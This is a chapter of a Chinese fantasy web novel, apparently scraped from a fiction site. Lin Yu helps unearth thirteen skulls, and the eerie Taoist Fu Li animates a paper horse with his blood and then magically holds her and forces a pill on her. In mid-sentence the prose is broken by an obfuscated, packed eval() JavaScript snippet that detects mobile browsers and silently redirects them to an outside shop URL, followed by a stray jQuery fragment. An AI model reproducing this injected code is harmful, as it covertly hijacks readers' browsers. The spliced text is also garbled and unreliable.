文趣网 > 都市小说 > 真千金,但火葬场一条龙服务 > 23. 第二十三章
    卫瑊转头目光落在宅院大门上。

    鲜红的大门门前挂着两盏灯笼,在夜色中泛着幽幽的光,一片寂静。

    这些人是否和从前的主人有关?这些人的头,又是否在其中呢,他抿抿唇。

    身后的小松悄悄侧身道:“公子,咱们这一遭可是偷偷来的,夫人的事……”

    他眉压下眼,简短道:“我有分寸。”

    谢岑弱弱举手:“今晚贫道能否在此安置一晚?明日好和诸位一起破解此阵法。”

    **

    第二日一早,林钰起了个大早想将那个灰扑扑的布包扒拉出来偷偷摸摸藏了起来,可摸着雾气找了半天,也没从里头滚落出来的布包。

    仅仅方寸之地,她恨不得将剩下的砖块也翻出来。

    寒冷的深秋,她耳朵冻得通红,目光有些呆滞,身上却止不住出汗,心中懊恼不已,早知就该趁着半夜出来拿东西,也不至于现在无影无踪。

    昨日为了不引起骚乱,卫瑊吩咐单独将骨头搜集起来找个地方藏起来,可再出来时东西已经不见了,原是以为光线太暗淡,不知滚到了哪一个角落,可谁知今早遍寻不得。

    林钰迎着晨露,脑中有些乱,谁拿走了她的东西?

    伏缡、谢岑还是别的人?

    她只好火急火燎提溜着铲子在园子中间来回巡回,又来回将宅子转了个遍,终于带着绝望确定绝对不会是自己夜半梦游才将布包遗留在了哪个地方。

    在微微冷又灿烂的的晨曦中试图寻找,她揣着手蹲在短短的草丛中苦思冥想,身前的假山挡住眼前的光。

    假山后的一个黑影凑到扇着翅膀凑到她身边,带起一阵凉风。

    林钰转头发现一只黑鸟立在假山上,羽毛在阳光的照耀下呈现出以青绿光为主的黑。

    它俯冲向下,停在她的对面,爪子中抓着什么东西。

    林钰看清楚便着急忙慌的站起身来,它手中抓着的是昨天那只纸马,鸟爪抓在纸马两肩之处。

    黑鸟展翅要将纸马丢在了她面前的湖泊中。

    林钰赶紧站起身挥手招呼:“回来!回来!别扔!我怎么好像没有见过你?”

    黑鸟扇着翅膀,好似有些疑惑的盯着林钰看了半晌,可却偏着头将爪子中抓着的纸马丢在了林钰面前,接着便飞走了。

    林钰赶紧蹲下身子将地上的纸马捡起来。

    昨日进了那个城隍庙之后一个不留神,不知道纸马跑到哪里去了,这东西她还没有好好研究研究。

    那只鸟的爪子很大,手中捡起来的纸马已经被抓的骨架扁扁的,损毁严重,纸皮也破裂开来。

    林钰做出来的每一件纸人,她都挺喜欢的,眼下看着破损的纸马觉得有些可惜,将它揣在怀中想带着去郑何那件书房修一修。

    她拾掇出来的竹条还……

    她灵光一现,转身郑何的书房跑过去,那里或许有昨夜那些人的线索。

    **

    卫瑊正坐在卧房的八仙桌前端着碗吃晨饭,十六岁起开始习武,他已经习惯在卯时起床。

    他默默看着眼前冒着白气的粥饭。

    小松站在一边问道:“公子,今日还要再出去找东西吗?”

    他起初还以为公子来东都最主要的目的是为了夫人,可来了几日了,每天不是在找人就是在找人的路上。

    那些桥洞底下,破庙中间,棚户里头,甚至是城北的义庄都被公子找了个遍,可小松不知道他到底在找什么。

    只发现公子的脸色一天比一天凝重。

    卫瑊将一颗鸭蛋在桌子边沿磕开,一点一点剥开蛋壳,回:“找人,继续找。”

    小松想接过他手中的鸭蛋,被卫瑊挡了挡,他挠挠头:“昨夜的尸骨,需要上报国公爷那边吗?”

    卫瑊用筷尖将手中的鸭蛋黄铺在白粥上,白粥上平滑的颗粒被金黄的鸭蛋染黄了,渗透出明亮的油脂光晕。

    “上报吧,后续不用管了。”

    咸香四溢。

    他刚准备动筷子,房门口传来“笃笃”的敲门声。

    他又停住动作:“进。”

    林钰从门口钻出来,喘息着大步停到卫瑊跟前。

    卫瑊抬眼,是昨夜那个小姑娘,他移开目光:“别着急,慢慢说。”

    林钰直起腰背,眼神也落在对面的人身上。

    算来,这不是她第一次见到他了,可还是忍不住来来回回观察一番。

    卫瑊大概是刚刚洗过澡,一股清香扑面而来,乌黑柔顺的长发带着湿漉漉的水汽披散下来,脸颊上似乎还有残留的一丝红晕。

    小松觉得眼前的丫头非常不合礼,正要出声制止。

    林钰缓好了:“我大概知道那些头骨在哪里了。”

    卫瑊点点头:“稍等。”

    **

    站在“往生”门口时,林钰还在疑心刚刚是看错了,否则怎么能见到那个看着像神仙一样的人物在不到一刻钟的时间干完五碗白粥。

    卫瑊视线也落在“往生”上头:“你刚刚说这是郑何的书房?”

    林钰肯定的点点头,“这里面之前有很多的书,还有书架。”

    卫瑊环顾四周。

    外间是密密的树林夹杂竹林,没有丝毫规划可言,松柏杨交杂,竹子密密麻麻,遮天蔽日,枯黄的叶子不少,可绿意依旧森然。

    单领出来,这间屋子的形状,倒是有些像棺椁,黑洞洞的门口望进去深不见底。

    门上的牌匾应该是当初摇摇晃晃,直接被摘了下来立在门边。

    其上是工整的两个泼墨字。

    往生。

    卫瑊进入其中转了一圈:“不错。开始吧。”

    林钰也略微有些激动,这间屋子也算挺大的,够他们忙活好一阵了。

    林钰递给小松一把铲子,自己则是拿着锄头直接找到一块又缝隙砖石撬开,漏出下面的土地。

    “顺着这道缝隙看往一边撬动。”

    小松有些绷不住脸色,所以专门叫自己来干活的吗?

    这个臭丫头好歹是有点脸色,每给公子也来上一把锄头。

    卫瑊这时看着忙的热火朝天的林钰,发出了疑问:“那我该干什么呢?”

    林钰头也不抬:“你衣裳爱干净,在外面找一个地方等着就好,应该不会太久。谢道长等会将那些骨头拼好也回来帮忙。”

    卫瑊对小姑娘的话有些疑惑,这不是两人第二次见面,她怎么知道自己衣裳喜欢干净呢?

    不过在场的也没几个人,也不必讲究什么。

    卫瑊开始进进出出的将地上的杂物往出清理。

    **

    小松手臂发麻,只剩下麻木的往地上挥动锄头。

    汗滴顺着他的脸颊往下流,但抬眼看看干的热火朝天的公子和臭丫头。

    他也不敢偷懒。

    可真的好累。

    他小心的倚靠在墙边上,往下蹭着自己脊背。

    脚下是新鲜的泥土,地砖被翻起来之后各色奔忙的蠕虫也开始活动,他有种不自居的恶心感。

    他蹲在地上,手指扒拉着从砖缝中冒出来的草。

    草地下好像有白白的东西。

    他一个激灵站起身来,找到了。

    **

    三人围着门口一圈看着眼前挖出来的十三颗人头,有大有小,这里的保存条件大概要比门口更好一些,骨头一个个锃光瓦亮的,呈现出幽幽的白光。

    卫瑊深感这件事背后的重大罪责。

    谢岑着急忙慌的夺门而入,看见的就是眼前这幅景象,他兴高采烈的高喊:“拼出来了,拼出来了!应该有十三人!”

    小松盯着逆光而来的影子,嘴里嘟囔着:“道长该不是故意掐着点过来的吧?”

    谢岑装作听不到他的话,煞有其事的总结:“骨头混在一起,又并非一个人的,能拼出来实属不易了。我这个速度已经是非常杰出了。”

    林钰眯着眼睛疑惑:“为什么?”

    谢岑:“当然是因为贫道精通人体结构,又仔细……”

    卫瑊拧着眉毛:“这座宅子是什么时候建成的呢?”

    林钰打眼一看,白白净净的小公子已经被灰土蒙上了一层,呈现出一种灰扑扑毛茸茸的质感。

    可卫瑊的这个问题没人能回答,在场的加起来的年龄也总共没有人家两只鞋码加起来大。

    谢岑身边有一群蚂蚁爬上趴下,还有甲虫冲着他的鞋面往上爬,他蹦的老高,甩来甩去还是决定从这个无处下脚的地方往出走。

    卫瑊瞟了他一眼。

    林钰在静默中出声:“要不我去问问伏缡道长。”

    卫瑊想到昨夜也是他先发现了树底下的骨头。

    或者不应该叫做发现,叫做知道。

    “应当是不错的主意,可我总感觉这个人我好像在哪里见过,我们一起。”

    林钰对着他眨眨眼睛,她自己其实也是一片黑乎乎脏兮兮的样子了,只有眼睛格外晶亮。

    “我觉得他似乎对我很感兴趣,你们跟着作用也不大。”

    小松也趁机表态:“林姑娘说的对,咱们跟着去说不准还添乱呢,今日您不是还要去找人吗?”

    他又小声道:“再说那位伏缡道长看起来也的确不是很喜欢别的人。”

    卫瑊望向林钰,有些放心不下,林钰则是报之以一个灿烂的微笑。

    卫瑊也只好答应下来。

    **

    伏缡房中的门虚掩着,林钰轻声扣了扣门,没人应答。

    她犹豫半晌还是推开门。

    房间内很昏暗,窗口透光的位置盖的严严实实,上面是伏缡的斗篷。

    一晚上不透气,散发出一股奇怪的味道,林钰想起若是脏衣服在桶中闷了很久便是这么一种味道。

    她捡起一件桌上的东西,是昨日在城隍庙中见到过的一黄铜娃娃,嘴唇丰满,看着过于奇怪。

    她原以为房间中并没有人,一转眼,只见到一对空洞洞的眼眶透过床幔的缝隙直直盯着自己。

    林钰动作一停滞,上前拉开床幔,这人盘腿坐在黑暗的木床上,那张没有眼睛的脸上青黑色越发严重,悄无声息。

    “伏缡道长?”

    她上前小心翼翼的叫唤到,无人应声,她又抬手戳戳这人的胳膊。

    邦硬。

    林钰有些慌,这人看起来怎么好像有点死了。

    她嗓子发哽,后退两步,却被伏缡攥住衣角。

    伏缡的声音中带着一些沙哑:“如何?找到头骨了?”

    林钰悄摸松了一口气,“找到了,在正南边的一座屋子地下。一共有十三个。”

    伏缡“嗯”了一声,便没有了下文。

    林钰从身后掏出一个包裹递给伏缡。

    伏缡察觉到她的动作,一只手摸索着将身边的符箓拿起来重新贴在自己的眼睑上,另一只手冲着她伸过去。

    他接到手中的东西,是一只纸马。昨晚他放在林钰身边的,今早失去了联系。

    他手指摩挲着已经被修补好的纸马,支架干净利落解释,纸面规规整整,尾巴换成了麻绳。

    林钰挠挠头:“今早被一只鸟给抓坏了,我就重新修了修,但是好像不能动了。”

    她看着伏缡明明比刚刚正常很多,可是一只捏着纸马不说话,以为他发现什么。

    半晌,才等到他又“嗯”了一声。

    她想了想又从怀中掏出一个温热的油纸包递给他:“这个是今早我赶早买的第一锅梅花糕,有点凉了,但是还是很好吃。”

    伏缡捏捏纸包,软而粉糯的质感,他将麻绳打开。纸袋中的东西飘出烘烤过的酥皮的香气和糖渍花瓣的甜味。

    他伸手:“你也吃一块。”

    林钰暗道这是怕自己给他下毒啊,继而又觉得好笑,他这幅半死不活的样子到底有什么值得下毒的。

    她伸手照做,屋中奇怪的味道和梅花糕的香气混合起来其实是有些奇怪的,但是伏缡的表情看上去意外的心情不错。

    林钰纠结了一会儿,不太习惯沉默:“道长,这宅子地下的阵法啊诅咒什么的是不是就彻底解除了?”

    伏缡脸上违和的冒出来阴不阴阳不阳的笑:“差不多了,如何?关心你那个小情郎?”

    林钰怔愣了一下,才反应过来他说的是谁,头摇的和拨浪鼓一样。

    “不是不是,我昨天才刚刚见到他,那大师知道这底下埋下的骨头是谁的骨头吗?”

    伏缡顿了顿,从床上站起身来将衣服扯规整,又将桌上的东西一一收拾好。

    “和我无关。”

    林钰亦步亦趋跟着他,有些不解,所以他就是来帮助郑大人破除阵法的吗?

    “大师你要走了?”

    伏缡一声不响的收拾好,才回:“此地不宜久留。”

    林钰眨巴着眼睛,试图挣扎:“大师真的不能教教我怎么才能让纸人动起来吗?”

    伏缡爽快点点头:“完全没问题。”

    话入耳朵,林钰震惊的抬头,之前他可不是这个反应啊。

    这时间伏缡已经一只脚踏出了门口,今天是个大晴天,阳光普照,他却感知不到:“你将我送出城外。”

    “大师,我没办法出城。”

    伏缡定在门口翘起嘴角:“那你送我到城门口即可。”

    她捏捏手指,低下头。

    眼前的人很危险她是知道的。

    可……若是真的能让纸人动起来,那该多好。

    林钰皱皱眉当下决断:“现在就走吧。”

    伏缡的步子却迈回到门槛中来:“你有什么需要准备的吗?”

    林钰垂下眼睛想了想:“我有一些东西需要拿着。”

    **

    晌午的日头有些烈,林钰戴着面巾和斗笠在伏缡身后,她不知道伏缡看着像是手眼通天的样子,为何还需要这样遮遮掩掩。

    城门口的柳树还有绿意,弱柳扶风的枝条顺着风轻轻飘动。

    树下四处是攒动的人头,拿着烟管的男人三三两两聚集着,包裹堆积在他们脚边。

    城门的守备身负重甲,比平时要多上一倍。

    林钰捏紧手心,她只知道那个姓赵的在找她,可她当真是没想到那人还能调动城中的军备,还好当初没有贸然行动。

    伏缡察觉到了她的紧张。

    “你去,打探一下这是什么情况。”

    秋老虎的热气熏得林钰身上都出了一层薄薄的汗,从头到脚裹的紧紧的,她几乎能闻到从自己身上传来的汗酸气。

    “我去吗?我只答应了带着你来城门口,这个也要我做?”

    林钰嘴角下撇,吐出不太好听的话。

    她觉得自己有些反常,闷的太热再加上前有狼后有虎,算是将她的耐心吊在太阳底下暴晒。

    伏缡定了一定,道:“你不是要跟我学东西吗?”

    林钰看着他的包裹几晌,像是给自己攒劲儿。

    “好吧。我去看看。”

    伏缡好笑的将肩膀上的包裹往上紧了紧,又将自己向着墙根底下贴了贴,手心的砖石几乎是有些烫人了。

    林钰在人群中步子迈的很慢,自己一个在逃通缉犯光明正大穿的奇形怪状的在衙门守卫眼皮子下面晃荡,得亏是眼前的人太多故而也不是那么显眼。

    她挤到人不是那么多的公告栏底下,扬起脑袋。

    身边一个老头子抽着手中的烟管,林钰被旱烟的气息呛的咳嗽了两声。

    她透过斗笠的缝隙,认真辨认最新一张的黄纸上工整的字迹。

    “……一重刑犯杀死狱卒……越狱,逐一排查……包庇同罪……”

    林钰眯眯眼睛,所以闹成这样,不是因为自己吗?

    她又在布告栏的边角仔细寻找,还是在右上角看到了自己挂的高高的画像,只是底下表的是寻人启事。

    “定价:一百两。”

    她又忍不住想自己卖自己了。

    旁边的老头将旱烟在布告栏的角落出磕完烟灰,凑到林钰身边问道:“小子,识字不?知道上面写的是什么吗?为啥现在出城又不行了?”

    林钰被从他嘴里传出来的烟气猛烈攻击,往后躲了两步,压低声音回答。

    “就是说有个杀人犯逃出来了,要查。”

    老头接着问:“长得啥样子?”

    林钰从密密麻麻的字中间终于找到了这人的样貌体征:“没有眼睛。”

    老头一副明了的样子:“瞎子啊。那放我们这些眼睛好好的人出去就好了。”

    冷气又顺着林钰的脊背爬上了她的后脖颈,她打了个寒颤。

    没有眼睛……应该是没有眼睛的字面意思。

    林钰又挤着人群回到那条小巷子旁边,伏缡已经蹲在了墙根底下,配上一身灰色的衣衫和硕大的斗笠,像是墙根底下发霉的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17696367|205793||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    蘑菇。

    他看起来有些无力,垂下来的一只手挨着地面,沾上了一些灰土,手背上带着干涸的血迹,手心的血液顺着指尖慢慢滴下来。

    林钰赶忙上前一步:“你怎么了?”

    伏缡摇摇头,刚刚他在这依靠着时,被两个光明正大的地痞盯上了。

    他们恼恨他不说话也不掀斗笠,便使了些手段。

    只可惜,他们当然从他这里抢不到什么东西

    “伤口还挺严重的。”林钰从腰间抽出一条帕子,又从怀里掏出金疮药,让他伸出手,将他的伤口紧紧缠住。

    伏缡也不吭声,伸着手看着她动作,林钰有些矮,他的脊背弯的很厉害。

    林钰思索着:“这几天应当是出不了城,你还是找个地方呆着吧,最好是不要回卫府了。”

    他的手上的血蹭到了她手上,林钰顺手把手在腰间抹了抹。

    伏缡很满意手上被捆成蝴蝶结的手帕,他点点头表示知道了。

    “那就去城隍庙吧。”

    就在两人离开之后,人群中发出了一阵骚乱,城门口的守备都围了过来。

    一人直直将脑袋在树上撞击,一下接着一下,他周围的人想制止他,可此人力气大的无论如何竟然也是拦不住。

    另一人则是直接跳进了城门旁的河道边上。

    溅出来巨大的水花,可他一声不吭的沉下去了。

    “中邪了,中邪……”

    一股惶恐席在人群之中蔓延开来、

    **

    林钰推开城隍庙的庙门,和上次来的时候一样破旧,黄昏的阳光从破旧的窗户中间透出来,光线明亮之下,多了一分死寂。

    城隍老爷的塑像下有蒲团,她将周围的残破的物件扔到角落,拍拍蒲团上的土,并排摆在一起。

    “你来坐坐吧。”

    伏缡顺势坐在她身边。

    林钰将斗笠拆下来,金色的阳光下,能见到密不透风飞舞的灰尘正逐渐安静下来。

    林钰问他:“你为什么要帮郑大人?”

    伏缡应该拒绝回答她这个问题的,可他还是鬼使神差开口了。

    “他以前帮过我。”

    林钰疑惑看向他,伏缡在一束束金光中更加了无生机了。

    “那你知道他……?”

    伏缡脸上又露出扭曲的笑容:“可是我迟早有一天也要杀了他。”

    林钰默念,这倒是不用,有别人给你代劳了。

    可她又想问为什么了。

    伏缡没有理会她的问题,只是从自己的包裹中掏出一叠黄纸,把手上的手帕解开。

    “你不是想知道马是怎么动起来的吗?好了。”

    林钰目不转睛盯着他的动作,只见到他左手沾着右手掌心不断渗出来的血,如画笔一样笔走龙蛇,不一会儿,一张充满血腥气的黄符就画好了。

    伏缡递给她:“今早你给我的马里面的符不见了,你自己偷偷带走了吧。”

    林钰面不改色:“说不准是被鸟叼走的。”

    伏缡夸奖她:“你手艺不错。”

    林钰将符纸吹吹,上头的血渍差不多干透了,她把早上的纸马又拆开来,顺着原先符咒留下的印子贴上去。

    端详了片刻,才将将纸皮重新盖好。

    纸马在地上一动不动。

    林钰转头想要问伏缡这是什么情况,一转头又发现对方的符纸直勾勾盯着她。

    伏缡又在纸马的眼睛上抹了两下。

    林钰这才发现,原来马暗红的颜色也是他的血。

    地上的马甩动尾巴,木质的关节发出咔嗒的响声,就这样又绕着林钰开始跑动。

    林钰的视线紧随其后,又蹲着身子拿指尖抵住纸马的脑袋,它四肢不断踢动。她感叹:“真是厉害!不过好费血啊。”

    “你哪里来的这么多血能流出来。”

    伏缡冷哼:“怕什么,没有血了就换一具身体好了。”

    金光下的他依旧冷森森的,林钰没有细究他说的到底是真的假的,直觉告诉她,还是要离这人远一些。

    林钰放下纸马,起身拍拍手。

    “我该走了,大师演示演示就好。能学会这事,毕竟要用到你的血……”

    林钰觉很不对劲,这么简单的举动,整个流程中只有画符和做纸马最复杂,可是却呈现出这样的结果,付出的代价一定也不同寻常。

    大概很有可能是她不愿意承受的,又看着眼前的人不人鬼不鬼的伏缡,她觉得还是命要紧。

    太阳落山了,城隍庙中的金光也已经散去,荒废的庙宇中加倍出现了死气。

    伏缡沉沉开口:“你去哪?”

    林钰干笑:“我回卫府上去,我出来的时只给小松说了一声,不回去的话他们会着急的。”

    说话间,她往门口的方向移动。

    夜晚的风呼呼的吹。

    林钰眼睁睁看着自己又的步子又退回来。

    伏缡很满意,这两天的相处他对眼前的这个小姑娘感官不错,本来准备立马将她结果了的,可眼下瞧着,到是能多留一阵子。

    无聊的时候解解闷让他还挺舒心的。

    林钰坐在黑暗中的蒲团中呆呆立了不知道几个时辰,身边的人连一点呼吸声也没有。

    她腿脚已经麻了,可是身体却依旧不能动弹,只好悔不当初,嘴角绷直,发出了笑音。

    “都听大师的,我不走了,能不能让我动弹动弹,我想如厕。”

    “我憋不住了。”

    “……我想喝水。我喉咙要冒烟了。”

    伏缡不知睡没睡,反正是没有回答她的问题,纸马安静的依偎在她手边。

    尾部的头发贴在她手上,带来黏腻凉滑的触感,她鸡皮疙瘩起来又下去,此起彼伏。

    伏缡没出声,林钰也只好就这这个姿势闭上眼睛。

    算了睡吧,想到卫府,她无奈的叹了一口气。

    伏缡却突然发出了声音。

    “你叹气干什么?想你的小情郎了?”

    林钰此时当真是觉得对面的人是个变态,只好又温声软语的重复了一遍自己的请求。

    伏缡沉默了半晌,就在林钰以为他不会说话的时候,他说:“你吃下这个,我就让你动弹。”

    视线已经习惯了黑暗,但是黑暗中的东西还是不能详细的看见,林钰隐约看着他手中捏着一个东西。

    被赵郢强行喂药的景象在她脑海中浮现,她死死咬住嘴唇,不再吭声。

    可伏缡却不满意她的表现了。

    他默念了什么,林钰的嘴巴自己张开。

    伏缡又觉得直接喂给她不太合适,于是林钰的头扬起来。

    他将那里药丸抛进了林钰嘴里,又在接触到她的瞬间,化作暖流从她的喉管流下去了。接着林钰发现自己已经僵直的手指能动弹了。

    她心脏在胸腔里狂跳,喉咙涌出来的恶心让她难以招架。

    伏缡补充道:“现在你想干什么就去吧。”

    林钰坐着许久没有动弹,也没有应声。

    她缓了一会儿,用酸麻的手锤了锤僵直的膝盖,才问道:“你给我吃了什么?”

    她的声音中没有以往的笑意和生气。

    伏缡在黑暗中朝着她转头,略微察觉她的异常,皱眉回复:“你近期都必须跟着我,是一些,你身体适合的东西。”

    林钰将食指放在嘴边不住啃咬已经坑坑洼洼的指甲。

    “我要出去一趟。”

    伏缡很淡定到:“你去吧。”

    林钰推开庙门,借着流入的灰白色月光回头打量了伏缡一眼。

    她呼出一口气,门口是成荫的巨树,油松在秋冬季节不会掉叶子,变成暗绿的颜色,这个城隍庙已经距离城中很远。

    远眺开来一片山影,仰头看去天上的星子明亮璀璨。

    林钰摸摸身上的匕首,又将怀中的吹筒隔着衣服丈量了丈量。

    她苦着脸叹了口气,普通攻击看上去对这个破道士没有用啊。

    怎么会有这么逆天的东西。

    脚边蹭过来一只灵活的纸马,对着她的鞋子不断的甩尾巴,微弱的光线下依稀能看出来头发的主人之前护理的不够用心。

    不少呲出来的分岔,甚至有些干枯毛躁。

    她低下身子摸了摸纸马的头,但是想到它眼睛上身体里也全是那个破道士的痕迹,压着眉移开了手。